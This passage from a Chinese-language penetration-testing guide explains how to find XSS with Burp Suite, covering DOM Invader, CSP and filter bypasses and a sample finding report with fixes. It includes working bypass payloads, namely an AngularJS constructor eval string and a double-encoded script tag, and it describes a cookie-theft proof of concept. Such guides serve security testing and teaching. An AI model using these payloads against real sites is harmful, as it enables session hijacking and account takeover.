">
# Grep - Match 添加匹配模式: "alert(1)"、"onerror="
```
### 步骤 5：测试 DOM 型 XSS
使用 Burp 的 DOM Invader 识别不安全处理用户输入的客户端 JavaScript。
```
# 在 Burp 内置浏览器中启用 DOM Invader:
# 1. 打开 Burp 内置的 Chromium 浏览器
# 2. 点击 DOM Invader 扩展图标 > 启用
# 3. 设置金丝雀值（例如 "domxss"）
# 关键 Sink: document.write(), innerHTML, eval(), location.href
# 关键 Source: location.hash, location.search, postMessage
# 测试 URL fragment 注入:
https://target.example.com/page#
```
### 步骤 6：绕过 XSS 过滤器和 CSP
当基本 Payload 被拦截时，使用高级技术绕过防护措施。
```
# CSP 分析 - 检查响应头:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com
# 常见 CSP 绕过:
# 如果允许 'unsafe-inline':
# 如果某个 CDN 被加入白名单（例如 cdnjs.cloudflare.com）:
{{$eval.constructor('alert(1)')()}}
# 过滤器绕过技术:
# 大小写变化:
# 空字节: alert(1)
# 双重编码: %253Cscript%253Ealert(1)%253C/script%253E
# HTML 实体:
# Unicode 转义:
# 在 Burp Suite > BApp Store 中安装 "Hackvertor"
# 使用 Hackvertor 标签对 Payload 进行编码:
# <@hex_entities>alert(document.domain)<@/hex_entities>
```
### 步骤 7：验证影响并记录发现
确认可利用性并记录完整的攻击链。
```
# 概念验证 — Cookie 窃取（演示会话劫持影响）:
# 根据需要替换为键盘记录器或截图 PoC 以演示更高影响
# 记录清单: URL/参数、Payload、执行截图、影响评估、复现步骤
```
> **验证**: PoC 在受控环境中成功执行。
## 补充工具
- **XSS Hunter**: 盲 XSS 检测平台，捕获带外执行证据
- **Dalfox**: CLI XSS 扫描工具，支持参数分析（`go install github.com/hahwul/dalfox/v2@latest`）
- **CSP Evaluator**: Google 提供的 CSP 有效性分析工具
## 输出格式
```
## XSS 漏洞发现
**漏洞类型**: 存储型跨站脚本（XSS）
**严重级别**: 高危（CVSS 8.1）
**位置**: POST /api/comments → `body` 参数
**类型**: 存储型 XSS
**OWASP 类别**: A03:2021 - 注入
### 复现步骤
1. 访问 https://target.example.com/blog/post/123
2. 提交评论，正文为:
3. 重新加载页面；Payload 在浏览器中执行
### 影响
- 通过 Cookie 窃取对所有查看该页面用户进行会话劫持
- 通过会话令牌外泄实现账户接管
- 博客文章页面被篡改
- 通过注入的登录表单进行钓鱼攻击
### CSP 状态
- 不存在 Content-Security-Policy 头
- 未设置 X-XSS-Protection 头
### 修复建议
1. 实施上下文感知的输出编码（HTML 上下文使用 HTML 实体编码）
2. 部署带严格 nonce 脚本白名单的内容安全策略
3. 对用户生成的 HTML 内容使用 DOMPurify 库进行清洗
4. 在会话 Cookie 上设置 HttpOnly 和 Secure 标志
5. 添加 X-Content-Type-Options: nosniff 响应头
```